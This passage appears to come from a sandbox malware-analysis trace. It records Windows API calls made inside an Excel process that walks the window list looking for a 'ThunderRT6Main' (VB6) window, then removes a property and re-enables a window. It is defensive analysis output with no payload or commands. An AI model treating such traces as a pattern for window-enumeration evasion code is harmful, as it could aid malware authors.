(hWnd=0x201a6, nIndex=-16) returned -1946157056 [0140.496] GetWindowLongPtrA (hWnd=0x201a6, nIndex=-6) returned 0x13f4a0000 [0140.496] GetWindowLongPtrA (hWnd=0x201a6, nIndex=-6) returned 0x13f4a0000 [0140.496] GetWindow (hWnd=0x201a6, uCmd=0x2) returned 0x202d2 [0140.496] GetClassNameA (in: hWnd=0x202d2, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0140.496] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0140.496] GetWindowThreadProcessId (in: hWnd=0x202d2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0140.496] GetWindowLongA (hWnd=0x202d2, nIndex=-16) returned 382664704 [0140.496] GetWindowLongPtrA (hWnd=0x202d2, nIndex=-6) returned 0x13f4a0000 [0140.496] GetWindowLongPtrA (hWnd=0x202d2, nIndex=-6) returned 0x13f4a0000 [0140.496] GetWindow (hWnd=0x202d2, uCmd=0x2) returned 0x30232 [0140.496] GetClassNameA (in: hWnd=0x30232, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0140.496] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0140.496] GetWindowThreadProcessId (in: hWnd=0x30232, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0140.496] GetWindowLongA (hWnd=0x30232, nIndex=-16) returned -1778384896 [0140.497] GetWindowLongPtrA (hWnd=0x30232, nIndex=-6) returned 0x0 [0140.497] GetWindowLongPtrA (hWnd=0x30232, nIndex=-6) returned 0x0 [0140.497] GetWindow (hWnd=0x30232, uCmd=0x2) returned 0x40234 [0140.497] GetClassNameA (in: hWnd=0x40234, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0140.497] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0140.497] GetWindowThreadProcessId (in: hWnd=0x40234, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0140.497] GetWindowLongA (hWnd=0x40234, nIndex=-16) returned -1778384896 [0140.497] GetWindowLongPtrA (hWnd=0x40234, nIndex=-6) returned 0x0 [0140.497] GetWindowLongPtrA (hWnd=0x40234, nIndex=-6) returned 0x0 [0140.497] GetWindow (hWnd=0x40234, uCmd=0x2) returned 0x2027a [0140.497] GetClassNameA (in: hWnd=0x2027a, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0140.497] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0140.497] GetWindowThreadProcessId (in: hWnd=0x2027a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0140.497] GetWindowLongA (hWnd=0x2027a, nIndex=-16) returned -1778384896 [0140.497] GetWindowLongPtrA (hWnd=0x2027a, nIndex=-6) returned 0x0 [0140.497] GetWindowLongPtrA (hWnd=0x2027a, nIndex=-6) returned 0x0 [0140.497] GetWindow (hWnd=0x2027a, uCmd=0x2) returned 0x20278 [0140.497] GetClassNameA (in: hWnd=0x20278, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0140.497] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0140.497] GetWindowThreadProcessId (in: hWnd=0x20278, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0140.497] GetWindowLongA (hWnd=0x20278, nIndex=-16) returned -1778384896 [0140.497] GetWindowLongPtrA (hWnd=0x20278, nIndex=-6) returned 0x0 [0140.497] GetWindowLongPtrA (hWnd=0x20278, nIndex=-6) returned 0x0 [0140.497] GetWindow (hWnd=0x20278, uCmd=0x2) returned 0x202c2 [0140.497] GetClassNameA (in: hWnd=0x202c2, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0140.497] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0140.497] GetWindowThreadProcessId (in: hWnd=0x202c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0140.497] GetWindowLongA (hWnd=0x202c2, nIndex=-16) returned 1149272145 [0140.497] GetWindow (hWnd=0x202c2, uCmd=0x2) returned 0x202cc [0140.497] GetClassNameA (in: hWnd=0x202cc, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="ThunderMain") returned 11 [0140.497] lstrcmpA (lpString1="ThunderMain", lpString2="ThunderRT6Main") returned -1 [0140.497] GetWindowThreadProcessId (in: hWnd=0x202cc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0140.497] GetWindowLongA (hWnd=0x202cc, nIndex=-16) returned -1946157056 [0140.497] GetWindowLongPtrA (hWnd=0x202cc, nIndex=-6) returned 0x7fee5a60000 [0140.497] IsWindowEnabled (hWnd=0x202cc) returned 0 [0140.497] GetPropA (hWnd=0x202cc, lpString=0xc113) returned 0x1 [0140.497] RemovePropA (hWnd=0x202cc, lpString=0xc113) returned 0x1 [0140.497] EnableWindow (hWnd=0x202cc, bEnable=1) returned 1 [0140.497] GetWindow (hWnd=0x202cc, uCmd=0x2) returned 0x2025c [0140.497] GetClassNameA (in: hWnd=0x2025c, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0140.497] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0140.498] GetWindowThreadProcessId (in: hWnd=0x2025c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0140.498] GetWindowLongA (hWnd=0x2025c, nIndex=-16) returned 1149272145 [0140.498] GetWindow (hWnd=0x2025c, uCmd=0x2) returned 0x101e0 [0140.498] GetClassNameA (in: hWnd=0x101e0, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0140.498] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0140.498] GetWindowThreadProcessId (in: hWnd=0x101e0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0140.498] GetWindowLongA (hWnd=0x101e0, nIndex=-16) returned 382664704 [0140.498] GetWindowLongPtrA (hWnd=0x101e0, nIndex=-6) returned 0x13f4a0000 [0140.498] GetWindowLongPtrA (hWnd=0x101e0, nIndex=-6) returned 0x13f4a0000 [0140.498] GetWindow (hWnd=0x101e0, uCmd=0x2) returned 0x1020a [0140.498] GetClassNameA (in: hWnd=0x1020a, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0140.498] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0140.498] GetWindowThreadProcessId (in: hWnd=0x1020a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0140.498] GetWindowLongA (hWnd=0x1020a, nIndex=-16) returned -1778384896 [0140.498] GetWindowLongPtrA (hWnd=0x1020a, nIndex=-6) returned 0x0 [0140.498] GetWindowLongPtrA (hWnd=0x1020a, nIndex=-6) returned 0x0 [0140.498] GetWindow (hWnd=0x1020a, uCmd=0x2) returned 0x1020c [0140.498] GetClassNameA (in: hWnd=0x1020c, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0140.498] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0140.498] GetWindowThreadProcessId (in: hWnd=0x1020c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0140.498] GetWindowLongA (hWnd=0x1020c, nIndex=-16) returned -1778384896 [0140.498] GetWindowLongPtrA (hWnd=0x1020c, nIndex=-6) returned 0x0 [0140.498] GetWindowLongPtrA (hWnd=0x1020c, nIndex=-6) returned 0x0 [0140.498] GetWindow (hWnd=0x1020c, uCmd=0x2) returned 0x1020e [0140.498] GetClassNameA (in: hWnd=0x1020e, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0140.498] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0140.498] GetWindowThreadProcessId (in: hWnd=0x1020e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0140.498] GetWindowLongA (hWnd=0x1020e, nIndex=-16) returned -1778384896 [0140.498] GetWindowLongPtrA (hWnd=0x1020e, nIndex=-6) returned 0x0 [0140.498] GetWindowLongPtrA (hWnd=0x1020e, nIndex=-6) returned 0x0 [0140.498] GetWindow (hWnd=0x1020e, uCmd=0x2) returned 0x10210 [0140.498] GetClassNameA (in: hWnd=0x10210, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0140.498] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0140.498] GetWindowThreadProcessId (in: hWnd=0x10210, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0140.498] GetWindowLongA (hWnd=0x10210, nIndex=-16) returned -1778384896 [0140.498] GetWindowLongPtrA (hWnd=0x10210, nIndex=-6) returned 0x0 [0140.498] GetWindowLongPtrA (hWnd=0x10210, nIndex=-6) returned 0x0 [0140.498] GetWindow (hWnd=0x10210, uCmd=0x2) returned 0x102a2 [0140.498] GetClassNameA (in: hWnd=0x102a2, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0140.498] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0140.498] GetWindowThreadProcessId (in: hWnd=0x102a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa74 [0140.498] GetWindow (hWnd=0x102a2, uCmd=0x2) returned 0x2023e [0140.498] GetClassNameA (in: hWnd=0x2023e, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="CFD File Open Message Window") returned 28 [0140.498] lstrcmpA (lpString1="CFD File Open Message Window", lpString2="ThunderRT6Main") returned -1 [0140.498] GetWindowThreadProcessId (in: hWnd=0x2023e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0140.498] GetWindowLongA (hWnd=0x2023e, nIndex=-16) returned 213909504 [0140.498] GetWindowLongPtrA (hWnd=0x2023e, nIndex=-6) returned 0x7feef760000 [0140.498] GetWindowLongPtrA (hWnd=0x2023e, nIndex=-6) returned 0x7feef760000 [0140.498] GetWindow (hWnd=0x2023e, uCmd=0x2) returned 0x20214 [0140.499] GetClassNameA (in: hWnd=0x20214, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="MsoStdCompMgr") returned 13 [0140.499] lstrcmpA (lpString1="MsoStdCompMgr", lpString2="ThunderRT6Main") returned -1 [0140.499] GetWindowThreadProcessId (in: hWnd=0x20214, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0140.499] GetWindowLongA (hWnd=0x20214, nIndex=-16) returned -2080374784 [0140.499] GetWindowLongPtrA (hWnd=0x20214, nIndex=-6) returned 0x7fef2910000 [0140.499] GetWindowLongPtrA (hWnd=0x20214, nIndex=-6) returned 0x7fef2910000 [0140.499] GetWindow (hWnd=0x20214, uCmd=0x2) returned 0x101de [0140.499] GetClassNameA (in: hWnd=0x101de, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0140.499] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0140.499] GetWindowThreadProcessId (in: hWnd=0x101de, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0140.499] GetWindowLongA (hWnd=0x101de, nIndex=-16) returned -2046820352 [0140.499] GetWindowLongPtrA (hWnd=0x101de, nIndex=-6) returned 0x0 [0140.499] GetWindowLongPtrA (hWnd=0x101de, nIndex=-6) returned 0x0 [0140.499] GetWindow (hWnd=0x101de, uCmd=0x2) returned 0x101dc [0140.499] GetClassNameA (in: hWnd=0x101dc, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0140.499] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0140.499] GetWindowThreadProcessId (in: hWnd=0x101dc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0140.499] GetWindowLongA (hWnd=0x101dc, nIndex=-16) returned -2046820352 [0140.499] GetWindowLongPtrA (hWnd=0x101dc, nIndex=-6) returned 0x0 [0140.499] GetWindowLongPtrA (hWnd=0x101dc, nIndex=-6) returned 0x0 [0140.499] GetWindow (hWnd=0x101dc, uCmd=0x2) returned 0x101da [0140.499] GetClassNameA (in: hWnd=0x101da, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0140.499] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0140.499] GetWindowThreadProcessId (in: hWnd=0x101da, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0140.499] GetWindowLongA (hWnd=0x101da, nIndex=-16) returned -2046820352 [0140.499] GetWindowLongPtrA (hWnd=0x101da, nIndex=-6) returned 0x0 [0140.499] GetWindowLongPtrA (hWnd=0x101da, nIndex=-6) returned 0x0 [0140.499] GetWindow (hWnd=0x101da, uCmd=0x2) returned 0x101d8 [0140.499] GetClassNameA (in: hWnd=0x101d8, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0140.499] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0140.499] GetWindowThreadProcessId (in: hWnd=0x101d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0140.499] GetWindowLongA (hWnd=0x101d8, nIndex=-16) returned -2046820352 [0140.499] GetWindowLongPtrA (hWnd=0x101d8, nIndex=-6) returned 0x0 [0140.499] GetWindowLongPtrA (hWnd=0x101d8, nIndex=-6) returned 0x0 [0140.499] GetWindow (hWnd=0x101d8, uCmd=0x2) returned 0x201b2 [0140.499] GetClassNameA (in: hWnd=0x201b2, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0140.499] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0140.499] GetWindowThreadProcessId (in: hWnd=0x201b2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0140.499] GetWindowLongA (hWnd=0x201b2, nIndex=-16) returned 114229248 [0140.499] GetWindowLongPtrA (hWnd=0x201b2, nIndex=-6) returned 0x13f4a0000 [0140.499] GetWindowLongPtrA (hWnd=0x201b2, nIndex=-6) returned 0x13f4a0000 [0140.499] GetWindow (hWnd=0x201b2, uCmd=0x2) returned 0x4010e [0140.499] GetClassNameA (in: hWnd=0x4010e, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="OfficePowerManagerWindow") returned 24 [0140.499] lstrcmpA (lpString1="OfficePowerManagerWindow", lpString2="ThunderRT6Main") returned -1 [0140.499] GetWindowThreadProcessId (in: hWnd=0x4010e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x944 [0140.499] GetWindow (hWnd=0x4010e, uCmd=0x2) returned 0x201ac [0140.499] GetClassNameA (in: hWnd=0x201ac, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="ARC Window Class O16") returned 20 [0140.499] lstrcmpA (lpString1="ARC Window Class O16", lpString2="ThunderRT6Main") returned -1 [0140.499] GetWindowThreadProcessId (in: hWnd=0x201ac, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0140.499] GetWindowLongA (hWnd=0x201ac, nIndex=-16) returned -2080374784 [0140.500] GetWindowLongPtrA (hWnd=0x201ac, nIndex=-6) returned 0x13f4a0000 [0140.500] GetWindowLongPtrA (hWnd=0x201ac, nIndex=-6) returned 0x13f4a0000 [0140.500] GetWindow (hWnd=0x201ac, uCmd=0x2) returned 0x1019c [0140.500] GetClassNameA (in: hWnd=0x1019c, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.500] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.500] GetWindowThreadProcessId (in: hWnd=0x1019c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7b8 [0140.500] GetWindow (hWnd=0x1019c, uCmd=0x2) returned 0x1019a [0140.500] GetClassNameA (in: hWnd=0x1019a, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="Stomach_harassment_") returned 19 [0140.500] lstrcmpA (lpString1="Stomach_harassment_", lpString2="ThunderRT6Main") returned -1 [0140.500] GetWindowThreadProcessId (in: hWnd=0x1019a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7b8 [0140.500] GetWindow (hWnd=0x1019a, uCmd=0x2) returned 0x20216 [0140.500] GetClassNameA (in: hWnd=0x20216, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0140.500] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0140.500] GetWindowThreadProcessId (in: hWnd=0x20216, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0140.500] GetWindowLongA (hWnd=0x20216, nIndex=-16) returned -2080374784 [0140.500] GetWindowLongPtrA (hWnd=0x20216, nIndex=-6) returned 0x7feffa40000 [0140.500] GetWindowLongPtrA (hWnd=0x20216, nIndex=-6) returned 0x7feffa40000 [0140.500] GetWindow (hWnd=0x20216, uCmd=0x2) returned 0x20206 [0140.500] GetClassNameA (in: hWnd=0x20206, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0140.500] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0140.500] GetWindowThreadProcessId (in: hWnd=0x20206, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0140.500] GetWindowLongA (hWnd=0x20206, nIndex=-16) returned 1149272145 [0140.500] GetWindow (hWnd=0x20206, uCmd=0x2) returned 0x101d4 [0140.500] GetClassNameA (in: hWnd=0x101d4, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0140.500] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0140.500] GetWindowThreadProcessId (in: hWnd=0x101d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0140.500] GetWindowLongA (hWnd=0x101d4, nIndex=-16) returned 1149272145 [0140.500] GetWindow (hWnd=0x101d4, uCmd=0x2) returned 0x10196 [0140.500] GetClassNameA (in: hWnd=0x10196, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="Litwindow") returned 9 [0140.500] lstrcmpA (lpString1="Litwindow", lpString2="ThunderRT6Main") returned -1 [0140.500] GetWindowThreadProcessId (in: hWnd=0x10196, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x250 [0140.500] GetWindow (hWnd=0x10196, uCmd=0x2) returned 0x10198 [0140.500] GetClassNameA (in: hWnd=0x10198, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.500] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.500] GetWindowThreadProcessId (in: hWnd=0x10198, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x250 [0140.501] GetWindow (hWnd=0x10198, uCmd=0x2) returned 0x10192 [0140.501] GetClassNameA (in: hWnd=0x10192, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="Fed_bodies_wnd") returned 14 [0140.501] lstrcmpA (lpString1="Fed_bodies_wnd", lpString2="ThunderRT6Main") returned -1 [0140.501] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5b4 [0140.501] GetWindow (hWnd=0x10192, uCmd=0x2) returned 0x10194 [0140.501] GetClassNameA (in: hWnd=0x10194, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.501] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.501] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5b4 [0140.501] GetWindow (hWnd=0x10194, uCmd=0x2) returned 0x1018e [0140.501] GetClassNameA (in: hWnd=0x1018e, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="mauitellingWeightapp") returned 20 [0140.501] lstrcmpA (lpString1="mauitellingWeightapp", lpString2="ThunderRT6Main") returned -1 [0140.501] GetWindowThreadProcessId (in: hWnd=0x1018e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x704 [0140.501] GetWindow (hWnd=0x1018e, uCmd=0x2) returned 0x10190 [0140.501] GetClassNameA (in: hWnd=0x10190, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.501] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.501] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x704 [0140.501] GetWindow (hWnd=0x10190, uCmd=0x2) returned 0x1018a [0140.501] GetClassNameA (in: hWnd=0x1018a, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="Buriedpositioncls") returned 17 [0140.501] lstrcmpA (lpString1="Buriedpositioncls", lpString2="ThunderRT6Main") returned -1 [0140.501] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x584 [0140.501] GetWindow (hWnd=0x1018a, uCmd=0x2) returned 0x1018c [0140.501] GetClassNameA (in: hWnd=0x1018c, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.501] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.501] GetWindowThreadProcessId (in: hWnd=0x1018c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x584 [0140.501] GetWindow (hWnd=0x1018c, uCmd=0x2) returned 0x10186 [0140.501] GetClassNameA (in: hWnd=0x10186, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="translations_Massive_Mp_app") returned 27 [0140.501] lstrcmpA (lpString1="translations_Massive_Mp_app", lpString2="ThunderRT6Main") returned 1 [0140.501] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x460 [0140.501] GetWindow (hWnd=0x10186, uCmd=0x2) returned 0x10188 [0140.501] GetClassNameA (in: hWnd=0x10188, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.501] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.501] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x460 [0140.501] GetWindow (hWnd=0x10188, uCmd=0x2) returned 0x10182 [0140.502] GetClassNameA (in: hWnd=0x10182, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="vendor_win") returned 10 [0140.502] lstrcmpA (lpString1="vendor_win", lpString2="ThunderRT6Main") returned 1 [0140.502] GetWindowThreadProcessId (in: hWnd=0x10182, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x798 [0140.502] GetWindow (hWnd=0x10182, uCmd=0x2) returned 0x10184 [0140.502] GetClassNameA (in: hWnd=0x10184, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.502] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.502] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x798 [0140.502] GetWindow (hWnd=0x10184, uCmd=0x2) returned 0x1017e [0140.502] GetClassNameA (in: hWnd=0x1017e, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="Uniformphotographwin") returned 20 [0140.502] lstrcmpA (lpString1="Uniformphotographwin", lpString2="ThunderRT6Main") returned 1 [0140.502] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xf0 [0140.502] GetWindow (hWnd=0x1017e, uCmd=0x2) returned 0x10180 [0140.502] GetClassNameA (in: hWnd=0x10180, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.502] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.502] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xf0 [0140.502] GetWindow (hWnd=0x10180, uCmd=0x2) returned 0x1017a [0140.502] GetClassNameA (in: hWnd=0x1017a, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="filingsunriseIdentificationwin") returned 30 [0140.502] lstrcmpA (lpString1="filingsunriseIdentificationwin", lpString2="ThunderRT6Main") returned -1 [0140.502] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x42c [0140.502] GetWindow (hWnd=0x1017a, uCmd=0x2) returned 0x1017c [0140.502] GetClassNameA (in: hWnd=0x1017c, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.502] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.502] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x42c [0140.502] GetWindow (hWnd=0x1017c, uCmd=0x2) returned 0x10176 [0140.502] GetClassNameA (in: hWnd=0x10176, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="Alt_wnd") returned 7 [0140.502] lstrcmpA (lpString1="Alt_wnd", lpString2="ThunderRT6Main") returned -1 [0140.502] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x75c [0140.502] GetWindow (hWnd=0x10176, uCmd=0x2) returned 0x10178 [0140.502] GetClassNameA (in: hWnd=0x10178, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.502] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.502] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x75c [0140.502] GetWindow (hWnd=0x10178, uCmd=0x2) returned 0x10172 [0140.502] GetClassNameA (in: hWnd=0x10172, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="testVotingdistributedwin") returned 24 [0140.503] lstrcmpA (lpString1="testVotingdistributedwin", lpString2="ThunderRT6Main") returned -1 [0140.503] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x56c [0140.503] GetWindow (hWnd=0x10172, uCmd=0x2) returned 0x10174 [0140.503] GetClassNameA (in: hWnd=0x10174, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.503] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.503] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x56c [0140.503] GetWindow (hWnd=0x10174, uCmd=0x2) returned 0x1016e [0140.503] GetClassNameA (in: hWnd=0x1016e, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="saferwin") returned 8 [0140.503] lstrcmpA (lpString1="saferwin", lpString2="ThunderRT6Main") returned -1 [0140.503] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x58c [0140.503] GetWindow (hWnd=0x1016e, uCmd=0x2) returned 0x10170 [0140.503] GetClassNameA (in: hWnd=0x10170, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.503] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.503] GetWindowThreadProcessId (in: hWnd=0x10170, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x58c [0140.503] GetWindow (hWnd=0x10170, uCmd=0x2) returned 0x1016a [0140.503] GetClassNameA (in: hWnd=0x1016a, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="fancyInitiallywindow") returned 20 [0140.503] lstrcmpA (lpString1="fancyInitiallywindow", lpString2="ThunderRT6Main") returned -1 [0140.503] GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x620 [0140.503] GetWindow (hWnd=0x1016a, uCmd=0x2) returned 0x1016c [0140.503] GetClassNameA (in: hWnd=0x1016c, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.503] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.503] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x0 | 